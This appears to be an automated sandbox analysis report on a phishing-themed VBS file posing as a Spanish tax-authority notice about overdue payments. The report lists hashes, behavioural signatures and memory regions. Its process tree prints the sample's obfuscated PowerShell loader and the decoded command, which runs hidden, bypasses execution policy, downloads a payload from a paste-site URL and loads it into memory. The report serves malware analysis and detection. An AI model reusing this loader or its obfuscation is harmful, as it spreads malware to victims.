Analysis
-
max time kernel
42s -
max time network
45s -
platform
windows7_x64 -
resource
win7-20220812-en -
resource tags
arch:x64arch:x86image:win7-20220812-enlocale:en-usos:windows7-x64system -
submitted
06-10-2022 10:10
Static task
static1
Behavioral task
behavioral1
Sample
Administración Tributaria pagos atrasados.vbs
Resource
win7-20220812-en
General
-
Target
Administración Tributaria pagos atrasados.vbs
-
Size
201KB
-
MD5
0b4dc1bb49165555906e0a54ba35c40c
-
SHA1
5cc413e6b260a6d12f8cd7f89f60864d6616185f
-
SHA256
3a649ff19adaa0be44bdb367250683c93a350edf38b7ffb9d86559749b854fbc
-
SHA512
8100fb1ad8a3106d3eaeb7425b6c748b347384e2b5209a131cad325a53f031e7f9a8e4960117d4e5f026bbf985682e9fce07899404e75a23b4ccb1dd6971596b
-
SSDEEP
96:dyYRYFYDC3HFYSx9AXnXwEUfK2AUB/0zfNEWUvGcZ1+AN1qHk:d9uaYHFYH3AdfK2RB/0zfHcZJ1qE
Malware Config
Extracted
https://pasteio.com/download/xBVTIS53dQcN
Signatures
-
Blocklisted process makes network request 1 IoCs
Processes:
powershell.exeflow pid process 4 2004 powershell.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
-
Suspicious behavior: EnumeratesProcesses 2 IoCs
Processes:
powershell.exepowershell.exepid process 1396 powershell.exe 2004 powershell.exe -
Suspicious use of AdjustPrivilegeToken 2 IoCs
Processes:
powershell.exepowershell.exedescription pid process Token: SeDebugPrivilege 1396 powershell.exe Token: SeDebugPrivilege 2004 powershell.exe -
Suspicious use of WriteProcessMemory 6 IoCs
Processes:
WScript.exepowershell.exedescription pid process target process PID 780 wrote to memory of 1396 780 WScript.exe powershell.exe PID 780 wrote to memory of 1396 780 WScript.exe powershell.exe PID 780 wrote to memory of 1396 780 WScript.exe powershell.exe PID 1396 wrote to memory of 2004 1396 powershell.exe powershell.exe PID 1396 wrote to memory of 2004 1396 powershell.exe powershell.exe PID 1396 wrote to memory of 2004 1396 powershell.exe powershell.exe
Processes
-
C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Administración Tributaria pagos atrasados.vbs"1⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $iUqm = 'JABSAG8AZABhAEMAbwBwAHkAIAA9ACAAJwCvAL0AvgDkAK8ArwClAL0AJwA7AFsAQgB5AHQAZQBbAF0AXQAgACQARABMAEwAIAA9ACAAWwBzAHkAcwB0AG⌚⌚⌚AbQAuAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACgATgBlAHcALQBPAGIAagBlAGMAdAAgAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAEQAbwB3AG4AbABvAGEAZABTAHQAcgBpAG4AZwAoACcAaAB0AHQAcABzADoALwAvAHAAYQBzAHQAZQBpAG8ALgBjAG8AbQAvAGQAbwB3AG4AbABvAGEAZAAvAHgAQgBWAFQASQBTAD⌚⌚⌚AMwBkAFEAYwBOACcAKQApADsAWwBzAHkAcwB0AG⌚⌚⌚AbQAuAEEAcABwAEQAbwBtAGEAaQBuAF0AOgA6AEMAdQByAHIAZQBuAHQARABvAG0AYQBpAG4ALgBMAG8AYQBkACgAJABEAEwATAApAC4ARwBlAHQAVAB5AHAAZQAoACcATgB3AGcAbwB4AE0ALgBLAFAASgBhAE4AagAnACkALgBHAG⌚⌚⌚AdABNAG⌚⌚⌚AdABoAG8AZAAoACcA⌚⌚⌚ABVAGwARwBLAEEAJwApAC4ASQBuAHYAbwBrAG⌚⌚⌚AKAAkAG4AdQBsAGwALAAgAFsAbwBiAGoAZQBjAHQAWwBdAF0AIAAoACcAMAAvAE⌚⌚⌚AdgAzAGQAMQAvAGQALwBlAG⌚⌚⌚ALgBlAHQAcwBhAHAALwAvADoAcwBwAHQAdABoACcAIAAsACAAJABSAG8AZABhAEMAbwBwAHkAIAAsACAAJwBkADMAdgBFAH⌚⌚⌚AawBLAGEARQBSAFQASgB1ACcAIAApACkA';$OWjuxD = [system.Text.Encoding]::Unicode.GetString( [system.Convert]::FromBase64String( $iUqm.replace('⌚⌚⌚','U') ) );$OWjuxD = $OWjuxD.replace('¯½¾ä¯¯¥½', 'C:\Users\Admin\AppData\Local\Temp\Administración Tributaria pagos atrasados.vbs');powershell.exe -windowstyle hidden -ExecutionPolicy Bypss -NoProfile -Command $OWjuxD2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -ExecutionPolicy Bypss -NoProfile -Command "$RodaCopy = 'C:\Users\Admin\AppData\Local\Temp\Administración Tributaria pagos atrasados.vbs';[Byte[]] $DLL = [system.Convert]::FromBase64String((New-Object Net.WebClient).DownloadString('https://pasteio.com/download/xBVTIS53dQcN'));[system.AppDomain]::CurrentDomain.Load($DLL).GetType('NwgoxM.KPJaNj').GetMethod('PUlGKA').Invoke($null, [object[]] ('0/Ev3d1/d/ee.etsap//:sptth' , $RodaCopy , 'd3vEukKaERTJu' ))"3⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-msFilesize
7KB
MD53ca34da11bde6b4a3f31cc8e5542154e
SHA19214c40dfa9f8813aa8849f2278a0e8c8ae65819
SHA25691b8454b9b95b74053e8b8d02a46ff5ed150f8655968a5b8517158ba9a3a985a
SHA512b9b0ae9b5f77911c9c6bc151ba95c88b02e7004a4fa7d820ef189fa8076cf354bc2e150951bc4c67c88e1f9b05e26fe93a8e503e8847d6e5049bbe6c0e590ca4
-
memory/780-54-0x000007FEFBD01000-0x000007FEFBD03000-memory.dmpFilesize
8KB
-
memory/1396-66-0x000000000275B000-0x000000000277A000-memory.dmpFilesize
124KB
-
memory/1396-55-0x0000000000000000-mapping.dmp
-
memory/1396-57-0x000007FEF41E0000-0x000007FEF4C03000-memory.dmpFilesize
10.1MB
-
memory/1396-58-0x000007FEF3680000-0x000007FEF41DD000-memory.dmpFilesize
11.4MB
-
memory/1396-59-0x0000000002754000-0x0000000002757000-memory.dmpFilesize
12KB
-
memory/1396-60-0x000000001B6F0000-0x000000001B9EF000-memory.dmpFilesize
3.0MB
-
memory/1396-73-0x000000000275B000-0x000000000277A000-memory.dmpFilesize
124KB
-
memory/1396-72-0x0000000002754000-0x0000000002757000-memory.dmpFilesize
12KB
-
memory/2004-64-0x000007FEF41E0000-0x000007FEF4C03000-memory.dmpFilesize
10.1MB
-
memory/2004-67-0x00000000029C4000-0x00000000029C7000-memory.dmpFilesize
12KB
-
memory/2004-68-0x000000001B6E0000-0x000000001B9DF000-memory.dmpFilesize
3.0MB
-
memory/2004-69-0x00000000029CB000-0x00000000029EA000-memory.dmpFilesize
124KB
-
memory/2004-70-0x00000000029C4000-0x00000000029C7000-memory.dmpFilesize
12KB
-
memory/2004-71-0x00000000029CB000-0x00000000029EA000-memory.dmpFilesize
124KB
-
memory/2004-65-0x000007FEF3680000-0x000007FEF41DD000-memory.dmpFilesize
11.4MB
-
memory/2004-61-0x0000000000000000-mapping.dmp